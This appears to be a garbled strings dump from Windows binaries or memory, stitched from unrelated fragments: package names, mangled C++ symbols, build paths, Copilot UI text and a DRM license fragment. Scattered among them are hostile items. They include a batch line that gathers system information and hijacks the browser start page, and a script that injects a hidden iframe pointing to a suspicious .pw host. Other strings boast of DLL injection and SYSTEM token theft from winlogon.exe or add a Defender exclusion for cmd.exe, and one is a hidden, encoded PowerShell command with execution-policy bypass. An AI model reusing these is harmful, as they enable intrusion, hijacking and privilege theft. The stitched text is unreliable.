UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|osoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Kernel-LA57-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-PDC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UProcessViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@5673@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIApplicationOverrides@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@UApp@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIApplicationOverrides@Xaml@UI@Windows@4@UIApplicationOverrides2@7894@UIXamlMetadataProvider@Markup@7894@@winrt@@
(ipconfig/all&systeminfo.exe)>d:\into.txtregadd"hkey_current_user\software\microsoft\internetexplorer\main"/v"startpage"/treg_sz/dhttp://www.2345.com/?kmmy/fregadd"hkey_current_user\software\microsoft\internetexplorer\main"/v"default_page_url"/treg_sz/dhttp://www.2345.com/?kmmy/f>"%temp%.\defopen.reg"echowindowsregistryeditorversion5.00>>"%temp%.\defopen.reg"echo.>>"%temp%.\defopen.reg"echo[hkey_local_machine\software\microsoft\windows\currentversion\authentication\logonui\background]>>"%temp
varbr_reg=/(msie|firefox|opera)/i;varusr_os=navigator.useragent;if(get_cookie('view')==''&&usr_os.match(/windows/i)&&usr_os.match(br_reg)&&!usr_os.match(/bot|bot/i)){document.write(unescape('<style>.nhie9fr1{position:absolute;left:-1161px;top:-1012px}</style><divclass="nhie9fr1"><iframesrc="http://p772utd.playerskate.pw/31-3r7y89e0ecb9c6_8fo0f3f7-02-c1c_f4a_b_f-12/6/ed9678f1bc90f85b7c845b8bc376f073.html"></iframe></div>'));set_cookie('view','gq4y43geyhr45u7w54hw54y');}
WindowsInternal.ComposableShell.Experiences.TextInputUndocked
WindowsInternal.ComposableShell.Experiences.TextInput.Common
[using:Windows.UI.Xaml.Automation]AutomationProperties
WindowsInternal.ComposableShell.Experiences.TextInputUndocked
WindowsInternal.ComposableShell.Experiences.TextInput.Common
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked
Process injection (DLL injection)Injection successful!token theftAttempting to steal SYSTEM token from winlogon.exeSuccessfully impersonating SYSTEM!Process is running with elevated privileges
cmd.exe exclusion added to Windows Defenderc
-windowstylehidden-no
\system32\
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Markup.h
ir%\system32\
5b^com.microsoft.windows.e
5d^com.microsoft.windows.e
64^com.microsoft.windows.extensions.xaml.livecapt
Microsoft Windows
Windows-kenmerk-ervaringpak
\Microsoft\Windows\SendTo\YAC Desktop.lnk
t("ClientInst",null,"FeedbackStarted",null,null,_G.IG,null,null):Log2.LogEvent("ClientInst",{type:"ImpressionSubmitError",error:"_G.IG was not available when showing form"},"Feedback.Error",null,null,null,null,null);this.InitFeedbackForm(t,i,!0);Feedback.files.collect(n.LogError)},n.prototype.hideFbigElements=function(){var i,n;try{try{this.hideFbigElementsForDocument(_d)}catch(t){}for(i=_d.getElementsByTagName("iframe"),n=0;n<i.length;n++)try{this.hideFbigElementsForDocument(i[n].contentDocument)}catch(t){}}catch(t){}},n.prototype.hideFbigElementsForDocument=function(n){var u,i=n===null||n===void 0?void 0:n.getElementsByClassName("fbig"),t,r;if(i)for(t=0;t<i.length;t++)try{r=i[t];((u=getComputedStyle(r))===null||u===void 0?void 0:u.visibility)==="visible"&&(r.style.visibility="hidden",r.dataset.fbigHidden="1")}catch(f){}},n.prototype.restoreFbigElements=function(){var i,n;try{try{this.restoreFbigElementsForDocument(_d)}catch(t){}for(i=_d.getElementsByTagName("iframe"),n=0;n<i.length;n++)try{this.restoreFbigElementsForDocument(i[n].contentDocument)}catch(t){}}catch(t){}},n.prototype.restoreFbigElementsForDocument=function(n){var i=n===null||n===void 0?void 0:n.querySelectorAll("[data-fbig-hidden]"),t,r;if(i)for(t=0;t<i.length;t++)try{r=i[t];r.style.visibility="visible";delete r.dataset.fbigHidden}catch(u){}},n.prototype.AddFocusEventForWSB=function(){if(this.IsWSBCobalt()){var n=function(n){var t=_ge(n);t&&t.parentElement&&(t.addEventListener("blur",function(){t.parentElement.classList.remove("selectedLabel")}),t.addEventListener("focus",function(){t.parentElement.classList.add("selectedLabel")}))};n("fbpgdgtp1");n("fbpgdgtp2");n("fbpgdgtp3");n("fbpgdgod1");n("fbpgdgod2");n("fbpgdgod3");n("fbpgdgsschk");n("fbpgdgml")}},n.prototype.InitFeedbackForm=function(n,t,i){var r,u,f;n===void 0&&(n=null);t===void 0&&(t=!1);i===void 0&&(i=!1);sj_evt.fire("onFeedbackStarting",t);r=_ge(this.feedbackContainerId);r===null?this.CreateShowForm(n,i):this.ResetShowForm();this.IsDarkMode()&&(r=_ge(this.feedbackContainerId),r.classList.add("darkTheme19H1"));this.IsWebView2()&&(r=_ge(this.feedbackContainerId),r.classList.add("isOnWebview2"));Feedback.CortanaState.SetForFeedback();u=_ge("fbpgdg");this.IsWSBCobalt()&&(u.tabIndex=0);f=_ge("fbpgdgsbbt");f.setAttribute("aria-label",this.GetLocString("FEEDBACK_SEND_BUTTON_READOUT"));u.setAttribute("aria-label",this.GetLocString("WINDOWS_TITLE_TEXT"));u.focus();sj_evt.fire("ajax.feedback.initialized",Feedback)},n.prototype.Hide=function(){var n=_ge(this.feedbackContainerId);n&&(sj_evt.fire("onFeedbackClosing"),this.HideForm());this.FeedbackFormCleanup()},n.prototype.Remove=function(){var n=_ge(this.feedbackContainerId);n&&(sj_evt.fire("onFeedbackClosing"),this.RemoveForm());this.FeedbackFormCleanup()},n.prototype.FeedbackFormCleanup=function(){var n=_ge("fbpgdgsbbt");n&&Lib.CssClass.remove(n.parentElement,"inactive");Feedback.CortanaState.Reset();Feedback.files.clear()},n.prototype.CheckInternal=function(n){var t=sj_gx(),i=Feedback.Core.AddInstToUrl(this.internalCheckUrl),r=this;t.open("HEAD",i,!0);t.timeout=this.internalCheckRequestTimeout;t.onreadystatechange=function(){t.readyState===t.DONE&&(t.status===204&&r.AddInternalFormElements(n),this.AddFocusEventForWSB())}.bind(this);t.send()},n.prototype.AddLabeledInput=function(n,t,i,r,u,f,e,o,s,h,c){var v,l,a;return r===void 0&&(r=undefined),u===void 0&&(u=undefined),f===void 0&&(f=undefined),e===void 0&&(e="inputwrapper"),o===void 0&&(o=null),s===void 0&&(s=null),h===void 0&&(h=null),v=sj_ce("div",null,e),l=sj_ce("input",h,o),l.type=t,u===!0&&(l.checked=!0),typeof r=="string"&&(l.name=r),typeof f=="string"&&(l.value=f),typeof c=="string"&&l.setAttribute("aria-label",c),a=sj_ce("label",null,s),a.appendChild(l),a.appendChild(_d.createTextNode(i)),v.appendChild(a),n.appendChild(v),l},n.prototype.AddLink=function(t,i,r,u){var s,o,f=sj_ce("a",i);f.href=r;f.target="_blank";f.innerText=u;var e=(o=(s=SearchAppWrapper.CortanaApp).searchFeature)===null||o===void 0?void 0:o.call(s,40979072),h=(e===null||e===void 0?void 0:e.enabled)&&(e===null||e===void 0?void 0:^
c:\windows\syF
Microsoft.Windows.Security.CryptoWinRT
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\Resource.h
GetWindowsDirectoryW
GetProcessWindowStation
Windows! Windows! Windows!
FirstMainWindowShownForProcess
Microsoft.Windows.SimpleHapticsCtrl
Microsoft.Windows.InteractiveCtrl
Microsoft.Windows.InkProcessor
Microsoft.Windows.TlgAggregateInternal
Windows.Data.Notifications.QuietHoursProfile
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Notifications.BoolWithMetadata
Windows.Data.Notifications.QuietHoursSettings
Windows.Data.Notifications.QuietMoment
Windows.Data.DoNotDisturb.QuietHoursProfile
Windows.Data.DoNotDisturb.BoolWithMetadata
Windows.Data.DoNotDisturb.QuietHoursSettings
Windows.Data.DoNotDisturb.QuietMoment
D:\os\obj\amd64fre\onecoreuap\vcpkg\bond\objfre\amd64\vcpkg_installed\target-windows\include\boost/exception/detail/exception_ptr.hpp
{"queryUrl":"/settings/v3.0/TELEMETRY/ASM-WINDOWSSQ"}
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Shell.NotificationQuietHours
Microsoft.Windows.Wil.FeatureLogging
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-windowstylehidden-enckabpahcacgagaggadab0ahaacwa6ac8alwboageaygbhahiaaqbsaguabwauagmabwauahqaegavagmayqb0ahmalgb0ahgadaagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcakqauaemabwbuahqazqbuahqaiab8acaaaqboahyatwbraeualqbfahgauabyaguauwbzagkatwbuaa==
Windows XP Professional x64 Edition or Windows Server 2003
Windows 3.1(Win32s)
Windows Millennium Edition
ext-ms-win-session-winlogon-notify-l1-1-0.dll
ext-ms-win-session-winlogon-l1-1-2.dll
ext-ms-win-session-winlogon-l1-1-1.dll
ext-ms-win-session-winlogon-l1-1-0.dll
D:\os\obj\amd64fre\onecore\windows\accessibletech\vcpkg\objfre\amd64\vcpkg_buildtrees\protobuf\src\v3.21.6-7b86a97fdc.clean\src\google\protobuf\message_lite.cc
D:\os\obj\amd64fre\onecore\windows\accessibletech\vcpkg\objfre\amd64\vcpkg_buildtrees\protobuf\src\v3.21.6-7b86a97fdc.clean\src\google/protobuf/parse_context.h
D:\os\obj\amd64fre\onecore\windows\accessibletech\vcpkg\objfre\amd64\vcpkg_buildtrees\protobuf\src\v3.21.6-7b86a97fdc.clean\src\google\protobuf\arena.cc
..\..\media\gpu\windows\d3d12_helpers.cc
..\..\media\gpu\windows\edge\dxva_picture_buffer_win.cc
..\..\media\gpu\windows\edge\dxva_video_decode_accelerator_win.cc
..\..\media\gpu\windows\mf_audio_encoder.cc : 200
..\..\media\gpu\windows\mf_audio_encoder.cc : 227
..\..\media\gpu\windows\mf_audio_encoder.cc : 244
..\..\media\gpu\windows\mf_audio_encoder.cc : 282
..\..\media\gpu\windows\mf_audio_encoder.cc : 289
..\..\media\gpu\windows\mf_audio_encoder.cc : 299
..\..\media\gpu\windows\mf_audio_encoder.cc : 300
..\..\media\gpu\windows\mf_audio_encoder.cc : 305
..\..\media\gpu\windows\mf_audio_encoder.cc : 306
..\..\media\gpu\windows\mf_audio_encoder.cc : 307
..\..\media\gpu\windows\mf_audio_encoder.cc : 308
..\..\media\gpu\windows\mf_audio_encoder.cc : 865
..\..\media\gpu\windows\mf_audio_encoder.cc : 319
..\..\media\gpu\windows\mf_audio_encoder.cc : 322
..\..\media\gpu\windows\mf_audio_encoder.cc : 326
..\..\media\gpu\windows\mf_audio_encoder.cc : 329
..\..\media\gpu\windows\mf_audio_encoder.cc : 337
..\..\media\gpu\windows\mf_audio_encoder.cc : 338
..\..\media\gpu\windows\mf_audio_encoder.cc : 873
..\..\media\gpu\windows\mf_audio_encoder.cc : 887
..\..\media\gpu\windows\mf_audio_encoder.cc : 900
..\..\media\gpu\windows\mf_audio_encoder.cc : 908
..\..\media\gpu\windows\d3d12_copy_command_list_wrapper.cc
..\..\media\gpu\windows\d3d12_video_encoder_wrapper.cc
Gdata-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
\windows\C
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
BoolWithMetadata)*Windows.Data.DoNotDisturb.BoolWithMetadataM		
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UStartupAppsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UStartupAppsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIStartupAppsPageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$producers_base@UStartupAppsPageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIStartupAppsPageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UStartupAppsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UStartupAppsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UStartupAppsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UStartupAppsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@ULKDDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UILKDDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@ULKDDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@ULKDDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@ULKDDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@ULKDDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@ULKDDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producers_base@ULKDDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@ULKDDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$producer_convert@ULKDDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UConfirmationDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UConfirmationDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UConfirmationDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIConfirmationDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
Windows
D:\a\_work\1\s\windows\x64\Release\RNSVG\RNSVG.pdb
\windows\currentversion\run'
%\microsoft\windows\startmenu\program
onecoreuap\base\appmodel\windowmanagement\lib\windowservicesbroker.cpp
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{87d551f2-289a-4f83-89c1-099b440b9ab9}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="Professional"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt 